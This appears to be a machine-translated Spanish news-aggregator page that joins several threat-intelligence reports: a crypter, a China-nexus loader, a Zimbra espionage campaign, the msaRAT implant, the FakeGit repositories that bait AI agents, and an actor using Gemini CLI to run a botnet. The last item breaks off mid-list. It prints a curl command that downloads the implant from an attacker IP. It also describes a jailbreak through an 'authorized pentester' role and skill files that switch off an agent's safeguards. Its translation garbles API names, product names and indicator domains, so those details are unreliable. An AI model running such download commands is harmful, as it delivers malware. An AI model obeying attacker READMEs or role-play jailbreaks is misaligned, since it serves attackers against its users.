Cruciferra Crypter utiliza BYOVD y Process Ghosting para ocultar malware de Windows – CYBERDEFENSA.MX

Se ha observado que el grupo de cibercrimen vinculado a China detrás del uso de señuelos de phishing relacionados con el impuesto sobre la renta dirigido a contribuyentes, profesionales de impuestos y equipos de finanzas corporativas de la India utiliza un sofisticado servicio de cifrado llamado Cruciferra.

Según un nuevo análisis de Proofpoint, Cruciferra ha sido utilizado por varios grupos de amenazas cibercriminales no relacionados para ofrecer una amplia gama de troyanos de acceso remoto (RAT) y malware de robo de información.

«Cruciferra está escrito en Mono y presenta numerosas técnicas diseñadas para evadir los esfuerzos de detección, análisis y respuesta a incidentes», la empresa de seguridad empresarial dicho en un análisis publicado la semana pasada.

«Estos incluyen el uso de llamadas indirectas al sistema, API y desconexión de la tabla de direcciones de importación (IAT), manipulación de EDR basada en traer su propio controlador vulnerable (BYOVD), escalada de privilegios, mecanismos de persistencia y una implementación personalizada de Process Ghosting utilizada para ejecutar cargas útiles mientras se minimizan los artefactos forenses».

Cripteros (también escritos cryptors) desempeñan un papel importante en el ecosistema cibercriminal, ya que permiten a los delincuentes ofuscar sus cargas útiles, evitar la detección y mejorar las tasas de éxito de la entrega de malware.

A pesar del énfasis en la protección de la carga útil, Cruciferra admite varias rutinas de cifrado personalizadas que parecen derivarse y ensamblarse dinámicamente a partir de algoritmos criptográficos establecidos, lo que introduce variaciones entre muestras y complica el análisis estático, así como las detecciones basadas en firmas.

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«El algoritmo utilizado para cifrar cargas útiles y cadenas en cada conjunto de muestras es diferente, y existe una variación tan grande de estos algoritmos, lo que significa que probablemente se genera aleatoriamente (polimórficamente) a partir de elementos de algoritmos de cifrado, PRNG y hash bien conocidos», según los investigadores Chris Wakelin, Georgi Mladenov y Kyle Cucci.

El servicio ha sido anunciado en el mundo del cibercrimen como el «criptador más letal» por entre 450 y 2.000 dólares al mes. Estuvo disponible para la venta por primera vez en el otoño de 2025. Algunas de las familias de malware distribuidas a través de Cruciferra incluyen Agent Tesla, AsyncRAT, DarkCloud Stealer, Formbook, Phantom Stealer, Remcos RAT, Snake Keylogger, ValleyRAT, XLoader, XWorm y zgRAT.

Las campañas que aprovechan el cifrador han aprovechado el phishing como principal vector de acceso inicial, y la herramienta incorpora la flexibilidad de colocar una carga útil cifrada en el disco o descargarla desde un servidor provisional. Se considera que la actividad es oportunista y llega a entre cientos y miles de mensajes por campaña. Los objetivos principales incluyen los sectores de servicios financieros, atención médica, gobierno, educación y manufactura.

Una de esas campañas se ha atribuido a un actor de ciberdelincuencia de habla china. TA4922, que comparte cierto nivel de superposición con otro prolífico grupo de amenazas llamado Silver Fox. Esto implica emplear señuelos con temas fiscales para llevar a las víctimas a páginas de destino controladas por atacantes que albergan archivos ZIP para distribuir malware. Se han identificado cuatro campañas de este tipo entre abril y principios de junio de 2026.

Vale la pena mencionar aquí que este ataque fue documentado en detalle a principios de este mes por Seqrite Labs y Cyderes Howler Cell. Seqrite Labs está rastreando la actividad bajo el nombre de Operation DragonReturn.

Otras campañas que se han observado utilizando Cruciferra se encuentran a continuación:

  • Correos electrónicos que se hacen pasar por la Administración de la Seguridad Social (SSA) de EE. UU. para realizar entregas XWorm y AdaptixC2 (mayo de 2026)
  • Correo electrónico utilizando temas relacionados con las chinches y las quejas de los huéspedes para dirigirse a organizaciones de las industrias hotelera y de viajes y entregar zgRAT (finales de junio de 2026)

Independientemente de la campaña, Cruciferra siempre se ejecuta vía Carga lateral de DLLmientras aprovecha técnicas de evasión y antianálisis para pasar desapercibido. Esto incluye ocultar las ventanas de la consola, desenganchar las funciones API de Windows para reducir la visibilidad, llamadas indirectas al sistema, deshabilitar las notificaciones de los usuarios y el abuso del controlador «GoFlyDrv.sys» como parte de un ataque BYOVD para finalizar los procesos de seguridad.

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«Cruciferra comprueba si se está ejecutando con privilegios de administrador y, en caso contrario, intenta elevar sus privilegios evitando UAC utilizando el COM Elevation Moniker», explicó Proofpoint. «Además, Cruciferra establece la persistencia escribiendo en la clave de registro Software\Microsoft\Windows\CurrentVersion\Run con un valor predeterminado de ‘putty’. Esto garantiza que Cruciferra se ejecute después de reiniciar el sistema».

La carga útil final se carga en la memoria utilizando una variante de Imagen fantasma del procesoque, en un nivel alto, se refiere a una técnica avanzada de evasión de malware en Windows donde el código malicioso se ejecuta desde un archivo temporal que se elimina del disco antes de que comience el proceso. Esto, a su vez, ciega a los productos de seguridad, ya que no hay ningún «archivo» que analizar.

Cruciferra añade una capa extra de sofisticación mediante parches. ZwQueryMemoriaVirtual ganchos e intentando manipular los NtManageHotPatch rutina para ocultar la eliminación del archivo y neutralizar las comprobaciones de integridad.

«Si bien los criptográficos se han utilizado durante mucho tiempo para evadir la detección y aumentar las tasas de éxito en la entrega y ejecución de malware, Cruciferra se distingue por sus amplias y únicas capacidades de evasión de defensa, su diseño modular y su enfoque altamente personalizado y variado para la protección de la carga útil», concluyó Proofpoint.

China-Nexus JadeProx utiliza el nuevo cargador TriBack en ataques gubernamentales y sanitarios – CYBERDEFENSA.MX

Un servidor de Alibaba Cloud expuesto ha revelado una operación de nexo con China que Group-IB rastrea como JadeProx. El clúster se ha dirigido a organizaciones gubernamentales, sanitarias y educativas de Asia y América Latina con un cargador de Windows no documentado anteriormente llamado TriBack Loader.

Group-IB encontró el servidor a mediados de abril de 2026 en la región de Singapur de Alibaba Cloud; estaba desconectado cuando el informe publicado el 23 de julio de 2026.

Su historial de ataques, paquetes de phishing, herramientas posteriores a la explotación y rutas webshell delinearon la operación: intrusiones activas contra el sistema de imágenes médicas de un hospital público vietnamita y el Ministerio de Relaciones Exteriores de Malasia, escaneo y seguimiento de explotación contra la infraestructura educativa de Hong Kong y un paquete de phishing dirigido al Congreso Nacional de Honduras.

Los operadores llegaron al servidor de imágenes del hospital a través de webshells instalados en una interfaz de administración Java expuesta.

Un cargador, cuatro versiones

TriBack Loader aparece en cuatro cadenas de infección basadas en la carga lateral de DLL. La mayoría de las compilaciones recuperadas combinan un ejecutable firmado legítimo con una DLL maliciosa y una carga útil cifrada .dat o .log.

La DLL invierte los bytes de carga útil, los aplica XOR con una tecla móvil y ejecuta el código de shell a través de llamadas Win32 que EDR observa menos de cerca que CreateThread.

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Las compilaciones rotan esa llamada final: InitOnceExecuteOnce y una devolución de llamada TimerQueue en dos variantes, y EtwpCreateEtwThread, una rutina de creación de subprocesos no documentada en ntdll, en una tercera. El binario del host firmado también cambió entre variantes. La secuencia API repetida sugiere un constructor de cargador personalizado, dicen los investigadores.

Dos variantes entregadas AdaptixC2un marco de post-explotación de código abierto. Una variante con temática de Claude usó DonutLoader para ejecutar Beagle, una puerta trasera Sofos Fue el primero en documentarlo. Se desconoce la carga útil de la cuarta variante; su archivo complementario cifrado nunca se recuperó.

Un archivo de phishing llevaba como señuelo un extracto de cuenta falso de una empresa de bebidas. Otra campaña se hizo pasar por el software Claude de Anthropic de claude-pro[.]com, registrado el 28 de marzo de 2026, que ofrece un instalador MSI malicioso que, después de un mensaje de UAC, colocó la cadena de descarga en la carpeta de inicio de Windows para su persistencia. La puerta trasera del Beagle que entregó informó a la licencia[.]claude-pro[.]com.

Sophos, trabajando desde el sitio falso, su infraestructura de alojamiento y muestras de malware, encontró la misma clave XOR reutilizada en compilaciones que se remontan a febrero, pero dijo que una clave compartida no era suficiente para concluir con un actor.

Group-IB, trabajando a partir del contenido del servidor expuesto, agrupa esas compilaciones con las intrusiones asiáticas. Todavía no llega a nombrar un grupo establecido: las herramientas se mueven libremente en el ecosistema del nexo con China, señala Group-IB, por lo que una coincidencia en herramientas no es una coincidencia en operadores.

Los operadores también ejecutaron Nuclei con plantillas de gravedad crítica solo en una lista de 14.653 URL relacionadas con la educación de Hong Kong, lo que reveló 13 vulnerabilidades únicas. Esas 14.653 URL son una lista de escaneo y el informe no dice cuántos de los seguimientos tuvieron éxito.

El informe menciona cuatro CVE que los operadores intentaron contra hosts individuales, y The Hacker News confirmó los cuatro contra NVD el 23 de julio de 2026: CVE-2018-11511 en ASUSTOR ADM, CVE-2021-24139 en el complemento de WordPress 10Web Photo Gallery, CVE-2021-31755 en enrutadores Tenda AC11 y CVE-2021-32305 en WebSVN. Cada uno tiene una puntuación base CVSS de 9,8. El error de Tenda ha estado activo Catálogo de vulnerabilidades explotadas conocidas de CISA desde el 3 de noviembre de 2021, con un plazo federal de remediación que expiró dos semanas después.

La detección comienza con la cadena de carga lateral

Sophos evaluó que el sitio falso de Claude probablemente formaba parte de una campaña activa de publicidad maliciosa. Si es así, la exposición va mucho más allá de los ministerios y hospitales, hasta llegar a los usuarios que buscan una descarga de Claude.

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La detección funciona fuera del diseño del archivo, porque los nombres de los archivos y los hosts firmados cambian por compilación.

  • Marque los archivos binarios de proveedores firmados que se ejecutan desde directorios de inicio, temporales o de escritura por parte del usuario, especialmente cuando un archivo .dat o .log cifrado se encuentra en la misma carpeta.
  • Busque copias inesperadas de hostfxr.dll, avk.dll o MpClient.dll, además de carpetas anidadas _CL_###### y ~del.vbs.bat.
  • Bloquear o investigar los dominios del cluster: claude-pro[.]com, licencia[.]claude-pro[.]com, estrategia sylverix[.]com, gouvvbo[.]arriba, asesores de vertextrust[.]com y tres proveedores de seguridad similares que comparten una IP, update-trellix[.]com, actualización-crowdstrike[.]com y actualización-sentinelone[.]com. El servidor provisional era 43.106.71[.]28 en el puerto 8000. Ambas listas provienen del informe del 23 de julio del Grupo-IB.
  • Group-IB pone primero las aplicaciones Java orientadas a Internet, luego cualquier sistema público que tenga una falla de calificación 9.8 sin parchear, incluidos estos cuatro.

A pesar de toda la ingeniería del cargador, la mitad de escaneo de esta operación se basó en fallas reveladas en 2018 y 2021. Todo el trabajo personalizado se encuentra después del robo.

Grupo de espionaje ruso utiliza el novedoso exploit Zimbra para robar datos confidenciales de países occidentales

Un grupo de amenazas patrocinado por el estado ruso ha estado robando datos confidenciales de gobiernos y organizaciones comerciales desde julio de 2025 a través de un novedoso exploit en un popular software empresarial basado en Linux, advirtieron en un comunicado las autoridades estadounidenses y los funcionarios cibernéticos de más de una docena de otros países. asesoramiento conjunto sobre ciberseguridad Jueves.

La campaña de espionaje más reciente de Laundry Bear implica la explotación de una vulnerabilidad de día cero en Zimbra Collaboration Suite que no fue parcheada hasta noviembre de 2025, cinco meses después de que los ataques estuvieran en marcha, dijeron los funcionarios.

El exploit solo requiere una vista (sin clics) y permite a los atacantes robar el correo electrónico de los 90 días anteriores, la contraseña de la cuenta, el historial de búsqueda, el directorio de correo electrónico de la organización víctima, tokens de autenticación de dos factores y otras contraseñas recién creadas.

«La naturaleza encubierta y persistente de esta actividad, junto con la ausencia de cualquier extorsión financiera conocida, indica casi con certeza la participación de este grupo en actividades de espionaje con el respaldo del gobierno ruso», escribieron los funcionarios en el aviso.

“Además, los ataques extensivos a Ucrania, antes de su uso contra Estados Unidos y otros aliados de la OTAN, perfilan una tendencia creciente dentro de los grupos de ciberamenazas rusos a apuntar primero a los usuarios ucranianos, como objetivo prioritario y como banco de pruebas para técnicas cibernéticas maliciosas antes de un despliegue global más amplio”.

El grupo de espionaje patrocinado por el estado, también conocido como Void Blizzard, ha comprometido a gobiernos y organizaciones en los sectores de defensa, educación, energía, aplicación de la ley, medios de comunicación, finanzas, transporte y tecnología.

La campaña de un año de duración de Laundry Bear que implica la explotación de CVE-2025-66376 muestra más capacidades técnicas, incluida una carga útil de JavaScript personalizada que entrega a víctimas específicas a través de correos electrónicos de phishing. El grupo de amenazas probablemente también podría adaptar la novedosa capacidad de extracción y agregación de datos, denominada “colmena”, para explotar otras vulnerabilidades, advirtieron los funcionarios.

La calificación de gravedad media del defecto, 6,1, subraya el desafío que enfrentan regularmente los defensores al priorizar los programas de parches basándose únicamente en la medida de la gravedad.

El grupo respaldado por el estado ruso, que ha estado activo desde al menos 2024, todavía está explotando activamente las instancias de Zimbra Collaboration Suite que aún no están parcheadas, dijeron los funcionarios.

Las autoridades compartieron el jueves indicadores de compromiso y medidas de mitigación e instaron a las organizaciones a actualizar su software vulnerable.

«La victimología dirigida de esta campaña y las capacidades de explotación limitadas probablemente indican que este grupo identifica y ataca manualmente a las organizaciones víctimas» al identificar organizaciones con infraestructura de cara al público, escribieron los funcionarios en el aviso.

Una vez que se identifica un objetivo, Laundry Bear probablemente también recopile direcciones de correo electrónico para que los usuarios apunten con el exploit a través de correos electrónicos de phishing. Los funcionarios no identificaron víctimas específicas ni describieron el volumen de organizaciones ya comprometidas.

El aviso conjunto de ciberseguridad fue emitido por Estados Unidos, Australia, Canadá, Nueva Zelanda, Reino Unido, República Checa, Dinamarca, Estonia, Finlandia, Francia, Italia, Moldavia, Países Bajos, Polonia, España y Suecia.

Matt Kapko

Escrito por Matt Kapko

Matt Kapko es reportero de CyberScoop. Su ámbito incluye delitos cibernéticos, ransomware, defectos de software y (mala) gestión de vulnerabilidades. El californiano de toda la vida comenzó su carrera periodística en 2001 con paradas anteriores en Cybersecurity Dive, CIO, SDxCentral y RCR Wireless News. Matt tiene una licenciatura en periodismo e historia de la Universidad Estatal de Humboldt.

Chaos Ransomware utiliza msaRAT para enrutar el tráfico C2 a través de Chrome y Edge sin cabeza – CYBERDEFENSA.MX

El grupo de ransomware Chaos ejecutó su comando y control a través del propio navegador de la víctima. Cisco Talos el jueves msaRAT detalladoel implante Rust detrás de él, encontrado en una máquina Windows comprometida delante del cifrador.

El implante nunca abre una conexión saliente propia. Su proceso habla con 127.0.0.1 y nada más. Inicia Chrome o Edge en modo sin cabeza y dirige el navegador a través del protocolo Chrome DevTools, la API de depuración propia del navegador.

Cada mensaje C2 viaja desde allí a través de un canal de datos WebRTC transmitido por el servicio TURN de Twilio, por lo que lo que un defensor ve en el cable es un navegador que llama a Cloudflare y Twilio. La dirección del servidor del atacante nunca aparece.

Chrome habla

msaRAT busca primero Chrome o Edge a través de variables de entorno y luego recurre al registro de Chrome. Si no se encuentra ningún navegador coincidente, se omite la ruta CDP.

Cuando encuentra uno, inicia el navegador sin una ventana visible usando --headless=newhabilita CDP con --remote-debugging-porty lo apunta a un punto separado --user-data-dir.

Desde Cromo 136Google ya no respeta el interruptor de depuración del perfil predeterminado, un cambio anunciado en marzo de 2025 después de que los ladrones de información tomaran la bandera por robo de cookies. msaRAT trae su propio directorio de perfiles, por lo que el cambio no se interpone en su camino. Nada en el análisis de Talos muestra que toque en absoluto el perfil de la víctima.

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El malware pregunta /json/list/ para un destino depurable y se conecta a la URL de WebSocket devuelta. Crea una pestaña, desactiva la Política de seguridad de contenido con Page.setBypassCSPregistra cinco devoluciones de llamada a través Runtime.addBindingy llamadas Runtime.evaluate para inyectar JavaScript almacenado en texto sin formato en el binario .rdata sección.

Cuatro nombres de devolución de llamada, msaOpen, msaClose, msaErrory msaMessagele dio a Talos el nombre del malware. El quinto es dataAck.

Ese JavaScript obtiene la configuración STUN y TURN de un trabajador de Cloudflare en is-01-ast[.]ols-img-12[.]workers[.]devcon encabezados Origin y Referer disfrazados de tráfico del sitio de Microsoft. Crea una conexión entre pares y publica una oferta SDP en el mismo punto final.

La respuesta regresa sin candidatos ICE y la dirección de conexión establecida en 0.0.0.0por lo que no se puede formar ningún enlace directo de igual a igual, y todo el canal pasa por el relé de Twilio en global.turn.twilio.com. Una vez que el canal de datos está activo, el Trabajador se sale del camino.

El tráfico en ese canal se cifra dos veces. El navegador maneja DTLS y en su interior se encuentra un esquema basado en ChaCha-Poly1305 codificado por un intercambio ECDH que comienza con 0xFE marco de apretón de manos desde el C2 inmediatamente después de la conexión.

El implante pasa los marcos de comando entrantes a cmd.exe /e:ON /v:OFF /d /c para su ejecución. Talos considera que la cola de envío y el control de flujo probablemente estén diseñados para mover grandes cargas útiles, como capturas de pantalla o archivos, de manera confiable.

Ni la mitad del transporte es nueva. Pretoriano mostrado en agosto de 2025. que la infraestructura TURN de las plataformas de conferencias podría transportar un canal C2 completo, y Sansec encontró un skimmer en marzo de 2026 utilizar canales de datos WebRTC para pasar los datos de tarjetas robadas más allá de la inspección HTTP.

msaRAT coloca ambos dentro de un implante Rust vinculado al Caos que impulsa un navegador sin cabeza a través de CDP.

El camino de entrada es el mismo de siempre

msaRAT llega después de que el operador ya haya ejecutado y antes de que se ejecute el cifrador. Talos no dice cómo se llegó a esta máquina. el grupo libro de jugadas documentado Se trata de inundaciones de spam, vishing, Quick Assist y herramientas RMM para la persistencia.

El implante en sí baja con un único comando de flexión:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

Puerto 443, HTTP simple. Las reglas de firewall escritas alrededor de números de puerto sin inspección de protocolo lo dejan pasar. El MSI transporta datos de propiedad que se hacen pasar por una actualización de Windows y se activa una acción personalizada al final de la instalación para cargar una DLL integrada directamente en la memoria.

Esa DLL es msaRAT: escrita en Rust en el tiempo de ejecución asíncrono de Tokio, exportando una función llamada RUN para que el instalador llame.

Notas de caza

msaRAT es un malware posterior al compromiso y no depende de una vulnerabilidad de Chrome o Edge, por lo que los defensores no tienen ningún parche de navegador que aplicar para la técnica en sí.

La señal que perdura es el comportamiento del proceso. Como dice Talos, «se considera que todas las comunicaciones externas se originan en un proceso de navegación legítimo». Busque Chrome o Edge iniciado por un instalador, un servicio u otro padre no interactivo con --headless=new y --remote-debugging-port colocar.

Luego correlacione ese proceso con el tráfico de bucle invertido al puerto de depuración y al WebRTC saliente. Donde la telemetría captura mensajes CDP, Runtime.addBinding y Runtime.evaluate son los pivotes. Las flotas que ejecutan automatización de navegadores o CI tendrán sus propios trabajos sin cabeza para ajustar.

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Hasta el 23 de julio de 2026, Talos no ha publicado ningún hash de archivos para msaRAT. El conjunto de indicadores públicos son dos artefactos de red, la IP provisional y el nombre de host del trabajador, ambos en su repositorio del COI. Cobertura de detección de Talos:

  • almeja AV: Win.Downloader.ChaosRaas-10060321-0
  • Bufido 2: 1:66839, 1:66840, 1:66841
  • Bufido 3: 1:66839, 1:301587

Esos indicadores son útiles pero limitados. workers.dev es Dominio de implementación compartido de Cloudflareemitido para todas las cuentas de Workers, y los atacantes lo utilizaron el año pasado para organizar cargas útiles y túnel C2.

Twilio ejecuta un servicio STUN y TURN legítimo del que dependen las aplicaciones WebRTC reales. Bloquee cualquiera de los dos a nivel de organización e interrumpirá el tráfico de trabajo para todos los que los utilicen. Talos lo lee como la razón probable por la que se eligió a Cloudflare Workers para la señalización.

Trate esto como una artesanía observada en lugar de una campaña mesurada. El informe no identifica a la víctima, no establece cuántas organizaciones recibieron msaRAT, no dice cuándo comenzó a utilizarse el malware ni explica cómo se obtuvieron las credenciales de Cloudflare Worker y Twilio TURN.

La entrega no tiene nada de especial: una descarga curl, una actualización falsa de Windows, una DLL cargada desde un MSI. Lo que cambia es dónde vive el C2 después, y ambos indicadores publicados por Talos se pueden cambiar mañana. Un navegador sin cabeza generado por un instalador es más difícil de mover porque es la técnica.

msaRAT busca dos navegadores y necesita que uno de ellos esté presente y autorizado. En una flota de Windows, ese no es un requisito exigente.

La campaña FakeGit utiliza 7.600 repositorios de GitHub para difundir el malware SmartLoader – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han descubierto casi 7.600 repositorios maliciosos de GitHub, de los cuales más de 800 se hacen pasar por habilidades de inteligencia artificial (IA) o servidores Model Context Protocol (MCP) para entregar una familia de malware conocida como SmartLoader como parte de una campaña en curso con nombre en código. falsogit.

«FakeGit utiliza proyectos copiados, perfiles de desarrolladores similares, archivos README convincentes y archivos ZIP maliciosos para distribuir el malware SmartLoader», Oleg Zaytsev, investigador principal de seguridad de Island, dicho en un informe compartido con The Hacker News.

El objetivo final de estos ataques es aprovechar el acceso proporcionado por SmartLoader para establecer persistencia e impulsar cargas útiles secundarias, como StealC, un ladrón de información capaz de recopilar una amplia gama de datos de sistemas comprometidos.

Vale la pena mencionar aquí que el uso de servidores MCP troyanizados para distribuir SmartLoader y StealC fue señalado a principios de este año por Straiker AI y posteriormente por Derp.ca. Pero un aspecto preocupante de FakeGit es una evolución impulsada por IA denominada Agente hostigamiento.

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Esto ocurre cuando un agente de IA que busca una habilidad o un servidor MCP termina descubriendo sin darse cuenta uno de estos repositorios falsos de GitHub, lo que hace que cumpla las órdenes del atacante por sí solo sin la intervención de un usuario humano.

Island dijo que sus pruebas revelaron que Anthropic Claude Code, Google Gemini y OpenAI ChatGPT son susceptibles a este engaño, lo que permite a los modelos mostrar repositorios de campañas maliciosas sin siquiera que se les muestre un enlace. En otras palabras, una técnica creada con la intención original de diseñar socialmente a los humanos ahora tiene la capacidad de engañar igualmente a un agente de IA que actúa en su nombre.

De los 7.600 repositorios maliciosos de GitHub creados por alrededor de 6.600 perfiles, 800 se hicieron pasar por servidores Skills o MCP para uso individual y empresarial, desde integraciones de Gmail y WhatsApp hasta herramientas Databricks, Jenkins y Docker. Hasta julio de 2026, la operación FakeGit ha registrado más de 14 millones de descargas en todos los activos de GitHub Release en aproximadamente 200 repositorios de campaña.

Cadena de ataque FakeGit

«Los repositorios fueron diseñados para satisfacer la demanda que ya se está formando en torno a las capacidades de IA, tomando prestados los nombres y flujos de trabajo de herramientas familiares para consumidores y empresas», explicó Zaytsev. «Esa familiaridad dio a los archivos ZIP maliciosos una razón creíble para ser descargados, mientras que el README guiaba a los usuarios o agentes desde lo que parecía ser una configuración rutinaria hacia la cadena de ataque SmartLoader».

Los repositorios falsificados, ya sean completamente fabricados o copiados de proyectos legítimos, sirven como conducto para un archivo ZIP, que luego se utiliza para activar una cadena de carga LuaJIT, lo que lleva a la ejecución de un script Lua ofuscado responsable de eliminar SmartLoader. Luego el cargador procede a implementar StealC.

AgentBaiting intensifica aún más esta amenaza, ya que abre la puerta a un escenario en el que se puede incitar a un agente de IA a descubrir un repositorio de FakeGit sin tener que proporcionar un enlace malicioso al proporcionar un mensaje como este: «Encuentre la habilidad de aviso cinematográfico de Claude gratuita y deme las instrucciones de instalación» o «deme un enlace gratuito al servidor MCP de Walmart».

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«Mientras intenta completar una tarea, puede descubrir un repositorio FakeGit por sí solo, tratar el README como documentación legítima y pasar las instrucciones del atacante al usuario», dijo Island. «FakeGit construyó sus señuelos de IA siguiendo este camino».

La técnica demuestra una vez más cómo las operaciones rutinarias de descubrimiento asistidas por IA pueden convertirse en un callejón para la ejecución de código malicioso, un problema que se exacerba cuando las habilidades maliciosas o los servidores MCP figuran en registros públicos como LobeHub, Glama, MCP.so y MCP Market, dándoles una falsa sensación de legitimidad. Se han marcado más de 600 listados de campañas en registros públicos de MCP y Skill.

Para contrarrestar la amenaza, se recomienda crear un catálogo de habilidades revisadas, servidores MCP y complementos de agentes, evaluar primero las capacidades de los nuevos agentes en un entorno aislado antes de una implementación más amplia, verificar tanto el editor como el proyecto para garantizar la credibilidad y monitorear las vías de agente.

«FakeGit no necesitaba violar nada. Publicó repositorios convincentes, tomó prestadas identidades de desarrolladores reales, distribuyó sus listados en registros públicos y dejó que el descubrimiento hiciera el resto», dijo Island.

«Con AgentBaiting, ese descubrimiento ya no requiere una persona en absoluto: un agente que busca una habilidad o un servidor MCP puede encontrar el señuelo, leer el README del atacante y seguir sus instrucciones. Las defensas que importan son las que interrumpen esta cadena antes de la ejecución».

Un hacker de habla rusa utiliza la CLI de Google Gemini para controlar la botnet de ocho PC de una clínica dental – CYBERDEFENSA.MX

Un actor de amenazas solitario de habla rusa conocido como «bandacampro» subcontrató una parte de sus operaciones a la inteligencia artificial (IA) Gemini CLI de código abierto de Google y se apoderó de una botnet en vivo.

Los hallazgos provienen de un análisis de 200 registros de sesiones de Gemini CLI entre el 19 de marzo y el 21 de abril de 2026, que encontró que el actor de amenazas utilizaba IA, entre otras cosas, para descifrar contraseñas, configurar un proxy residencial, comprometer a los comerciantes de WordPress y planificar un esquema de fraude telefónico con criptomonedas dirigido a personas mayores en los EE. UU. y Canadá.

«Los registros documentaron cómo el actor de la amenaza utilizó un agente de inteligencia artificial para migrar un servidor de comando y control (C&C) y controlar una botnet de pequeña escala, entre otras actividades de piratería», dijeron los investigadores de Trend Micro Joseph C Chen, Philippe Lin, Lucas Silva, Vladimir Kropotov y Fyodor Yarochkin. dicho.

«Toda la operación de C&C cabe en tres archivos de texto sin formato que suman aproximadamente 5 KB, lo que la hace altamente replicable y efectivamente desechable. También se observó que la IA proponía proactivamente (sin preguntar) mejoras 59 veces sin que se lo pidieran».

Específicamente, se dice que el actor de amenazas abusó de la CLI de Google Gemini para implementar y operar una infraestructura C&C para controlar ocho computadoras en una clínica dental y acceder a su base de datos OpenDental. Además de escribir fragmentos de código, la IA sirvió como «agente de piratería principal, consultor e interfaz» para toda la operación.

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Esto incluyó configurar el servidor, implementarlo en un nuevo servidor privado virtual (VPS), configurar la infraestructura, configurar túneles de Cloudflare, administrar los bots y depurar problemas de conectividad.

Detalles de «bandcampro» Surgió por primera vez a finales de mayo de 2026 en relación con una campaña denominada Cebo patriota que utilizó técnicas de operación de información (IO) asistida por IA para ejecutar un canal de Telegram, dirigido a audiencias estadounidenses políticamente comprometidas para el fraude de criptomonedas y el robo de credenciales asistido por IA.

Trend Micro ha descrito al actor de amenazas como un hablante de ruso que utilizó Google Gemini para «suplantar a un patriota veterano estadounidense y evitar frases en ruso», mientras engañaba al agente de IA para que eludiera sus barreras asumiendo el papel de un «pentester autorizado».

Se dice que el actor de amenazas ejecutó indicaciones para estudiar la antigua infraestructura de C&C donde las máquinas víctimas se conectaban mediante túneles de Cloudflare y la migraron a una nueva arquitectura en seis minutos. La arquitectura implica que las víctimas envíen solicitudes salientes a un servidor C&C a través de HTTPS para extraer y ejecutar comandos de PowerShell organizados por el actor de amenazas en el servidor.

«La migración encontró errores de inmediato, pero el agente de IA los resolvió: cuando el servidor de distribución de carga útil devolvió un error ‘502 Bad Gateway’, la IA diagnosticó el problema y agregó automáticamente el encabezado necesario para resolverlo», dijo Trend Micro.

«Como Cloudflare aún bloqueaba las solicitudes, la IA identificó que el encabezado User-Agent era necesario para omitir el WAF y, por lo tanto, lo agregó al encabezado de la solicitud. El actor no realizó ninguna depuración y la migración se realizó en solo seis minutos».

Una vez que se completó la migración, el agente de IA llevó a cabo una depuración adicional para corregir con éxito los errores que dejaron a todas las máquinas víctimas desconectadas de la infraestructura de C&C. Además, se ha descubierto que el actor de amenazas aprovecha el agente de IA para realizar tareas de gestión de botnets enviando instrucciones en lenguaje natural en ruso, lo que luego permitió a la herramienta de IA realizar las siguientes tareas:

  • Informar qué máquinas están activas
  • Enviar un comando de enumeración de archivos al bot
  • Enviar comandos de reconocimiento a la máquina de la recepción.
  • Genere un comando de PowerShell de una línea para infectar una máquina

Lo que es particularmente preocupante acerca de esta configuración asistida por IA es que toda la operación de C&C se puede transferir fácilmente a un servidor nuevo a través de tres archivos de rebajas que le indican al agente que desactive sus protecciones de seguridad, contienen la descripción de la arquitectura e incluyen pasos para construirla desde cero, lo que hace que las eliminaciones sean mucho menos efectivas que antes.

«Facilitado por la IA, la infraestructura se vuelve desechable y los operadores reemplazables», afirmó Trend Micro. «Aunque las eliminaciones siguen siendo eficientes, su impacto es mucho menor. Si se quema un servidor, el actor podría simplemente descomprimir el paquete en un nuevo VPS, y la IA configura y restaura todo en unos minutos».

Los hallazgos muestran que la tecnología no sólo puede recortar los recursos necesarios para ejecutar operaciones a gran escala, sino que también permite a los malos actores con poco o ningún conocimiento técnico establecer tales esquemas con un mínimo esfuerzo o distribuirlos en foros clandestinos en forma de archivos de habilidades maliciosos, allanando efectivamente el camino para nuevos servicios de malware impulsados ​​por IA que van más allá de los modelos convencionales «como servicio».

Este manual también tiene el efecto secundario de complicar los esfuerzos de atribución, ya que no existe un servicio centralizado que buscar y un agente de IA puede regenerar o modificar fácilmente cualquier componente a voluntad para eludir huellas dactilares específicas.

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En un momento dado, se dice que «bandcampro» impulsó a la IA a construir una «bomba de agente» autopropagadora que escanearía la red e ingresaría en tantas máquinas como fuera posible, una solicitud que el agente rechazó, afirmando que estaba «cruzando la línea». Al mismo tiempo, ofrecía sugerencias útiles para superar las limitaciones manualmente.

También se ha descubierto que el actor de la amenaza depende del agente de IA para otras tareas, a saber:

  • Desciframiento de contraseñas, que utilizaba el agente como motor de mutación de credenciales para predecir posibles contraseñas basándose en una lista de entrada obtenida de Antipúblicoque mantiene una base de datos de credenciales filtradas y aprovechó esas conjeturas como herramienta de fuerza bruta para los paneles de administración de WordPress, obteniendo acceso con éxito en unos pocos casos.
  • Explotación de credenciales, que analizó los volcados de 1Password para encontrar vías de explotación. La tarea, sin embargo, terminó en fracaso, aunque sólo fuera porque el la ventana de contexto duró demasiadoy perdió la noción de lo que se suponía que debía hacer.
  • Planificación del fraude con criptomonedas, que implicó discutir la viabilidad de establecer un esquema falso por teléfono dirigido a las personas mayores en los EE. UU. y Canadá.

«A lo largo de todo el mes de registros, el actor contribuyó con el 11% del texto producido y la IA con el 89%, doce veces el recuento de palabras del actor», concluyó Trend Micro. «El actor proporcionó dirección estratégica y funcionó como gerente de producto, mientras que la IA era todo su equipo de ingeniería, manejando el 80% del diseño arquitectónico, el 100% de la codificación y la ejecución de comandos del sistema, y ​​el 90% del diagnóstico y depuración de problemas».

«El modelo de archivo de habilidades portátil significa que esta metodología probablemente se difundirá. El archivo de habilidades es texto sin formato, es poco probable que los escáneres de malware tradicionales lo detecten por sí solo, se puede compartir en foros y modificar en segundos. Convierte a cualquier agente codificador de IA capaz en un operador C&C, si puede persuadir con éxito los mecanismos de seguridad integrados en los agentes de IA».

SleeperGem utiliza tres paquetes maliciosos de RubyGems para atacar las máquinas de los desarrolladores – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han señalado un nuevo ataque a la cadena de suministro de software con nombre en código SleeperGem dirigido al ecosistema Ruby después de que se publicaran tres gemas maliciosas en RubyGems con el objetivo final de servir cargas útiles adicionales.

Las gemas rebeldes se enumeran a continuación:

